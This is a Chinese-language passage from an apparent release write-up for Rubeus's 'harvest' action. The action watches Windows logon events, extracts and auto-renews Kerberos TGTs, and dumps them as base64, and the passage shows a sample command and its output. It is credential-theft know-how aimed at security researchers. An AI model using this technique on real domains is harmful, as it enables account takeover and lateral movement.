请注意,这个操作需要从一个升级了特权的上下文中运行!
功能介绍之harvest
收割(harvest)操作使监控器(monitor)又前进了一步。 它每隔一段时间(时间由/interval:MINUTES指定)监视 4624 事件的事件日志: 新登录的事件,提取任何新的 TGT KRB-CRED 文件,并保存任何提取的 TGT 的缓存。 在 /interval指定的时间周期内,任何在下一个间隔之前到期的 TGT 都会自动更新(直到达到它们的更新限制) ,以及当前"可用的"或有效的 TGT KRB-CRED .kirbis 缓存将输出为 base64 编码的数据块。
这允许你在不打开 LSASS 的读句柄的情况下从系统中获取可用的 TGT,尽管需要提高权限来提取票证。
c:\Rubeus>Rubeus.exe harvest /interval:30 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v0.0.1a [*] Action: TGT Harvesting (w/ auto-renewal) [*] Monitoring every 30 minutes for 4624 logon events ...(snip)... [*] Renewing TGT for [email protected] [*] Connecting to 192.168.52.100:88 [*] Sent 1520 bytes [*] Received 1549 bytes [*] 9/17/2018 6:43:02 AM - Current usable TGTs: User : [email protected] StartTime : 9/17/2018 6:43:02 AM EndTime : 9/17/2018 11:43:02 AM RenewTill : 9/24/2018 2:07:48 AM Flags : name_canonicalize, renewable, forwarded, forwardable Base64EncodedTicket : doIFujCCBbagAw...(snip)...
请注意,此操作必须从一个升级了特权的上下文中运行!
这可以与 Seatbelt 的 4624 事件功能很好地配对,该功能将解析过去7天内有 4624 帐户登录事件的事件日志。 如果有一个感兴趣的帐户在半规则的基础上进行了身份验证,其登录类型将导致攻击者可获得其 Kerberos TGT,而 harvest功能可以帮助你获得此凭据。
总结
我为这个项目付出了很多心血、汗水和(与 Kerberos 相关的)眼泪,我很高兴能把它交到其他安全研究人员的手中。 希望我们都能开始接受 Kekeo 里面那些很棒的功能,即使它被包装在另一个 shell 中。
请注意,这段代码是个 beta 版本——它已经在有限的环境中进行了测试,但是我确信它还存在各种各样的错误和问题。